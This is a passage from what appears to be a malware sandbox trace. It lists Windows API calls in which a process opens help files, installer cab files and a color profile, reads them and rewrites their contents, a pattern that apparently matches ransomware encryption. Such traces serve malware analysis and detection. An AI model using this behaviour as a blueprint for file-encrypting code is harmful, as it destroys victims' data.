"c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.881] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.881] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x16a [0051.881] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.881] ReleaseMutex (hMutex=0x128) returned 1 [0051.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0051.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.OUTLOOK.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x1e7fb1c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.OUTLOOK.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 26 [0051.881] ReadFile (in: hFile=0x1a8, lpBuffer=0x2635928, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x2a0f2bc*=0x16a, lpOverlapped=0x0) returned 1 [0051.888] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.888] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6f2, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6f2, lpOverlapped=0x0) returned 1 [0051.888] CloseHandle (hObject=0x1a8) returned 1 [0051.888] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0052.700] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0052.700] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x16a [0052.700] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0052.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.700] ReleaseMutex (hMutex=0x128) returned 1 [0052.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0052.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.WINPROJ.DEV.14.1033.hxn", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.WINPROJ.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 26 [0052.700] ReadFile (in: hFile=0x1d4, lpBuffer=0x2635928, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x2a0f2bc*=0x16a, lpOverlapped=0x0) returned 1 [0052.701] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0052.701] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6f2, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6f2, lpOverlapped=0x0) returned 1 [0052.701] CloseHandle (hObject=0x1d4) returned 1 [0052.701] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.457] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.457] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x588124 [0053.457] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.457] ReleaseMutex (hMutex=0x128) returned 1 [0053.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0053.457] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.485] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.486] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.487] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x586124 [0053.487] ReadFile (in: hFile=0x1d4, lpBuffer=0x280c5c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280c5c8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.493] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x586124 [0053.494] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0053.494] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.494] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.494] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.495] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0053.495] CloseHandle (hObject=0x1d4) returned 1 [0053.495] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.495] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.496] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x554520 [0053.496] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.496] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.496] ReleaseMutex (hMutex=0x128) returned 1 [0053.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0053.496] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.498] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.501] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.504] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x552520 [0053.504] ReadFile (in: hFile=0x1d4, lpBuffer=0x280c5c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280c5c8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.505] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x552520 [0053.506] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0053.507] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.507] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.507] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.507] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0053.507] CloseHandle (hObject=0x1d4) returned 1 [0053.507] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.509] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.509] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xc5b25 [0053.509] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.509] ReleaseMutex (hMutex=0x128) returned 1 [0053.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0053.509] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a274c8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.511] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a274c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a274c8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.515] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc4b25 [0053.515] ReadFile (in: hFile=0x1d4, lpBuffer=0x26142a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26142a8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.522] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc4b25 [0053.523] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.523] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.523] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.523] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.524] CloseHandle (hObject=0x1d4) returned 1 [0053.524] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4b4520 [0053.525] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.525] ReleaseMutex (hMutex=0x128) returned 1 [0053.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0053.526] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.529] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.531] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.533] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4b2520 [0053.533] ReadFile (in: hFile=0x1d4, lpBuffer=0x280c5c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280c5c8*, lpNumberOfBytesRead=0x2a0f278*=0x2000, lpOverlapped=0x0) returned 1 [0053.537] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4b2520 [0053.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0053.538] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0053.538] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0053.538] CloseHandle (hObject=0x1d4) returned 1 [0053.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x102a0 [0053.539] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0053.539] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.539] ReleaseMutex (hMutex=0x128) returned 1 [0053.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wscRGB.icc", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wscRGB.icc", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wscRGB.icc", lpUsedDefaultChar=0x0) returned 10 [0053.540] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.555] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf2a0 [0053.555] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.556] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xf2a0 [0053.556] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.556] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0053.556] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, 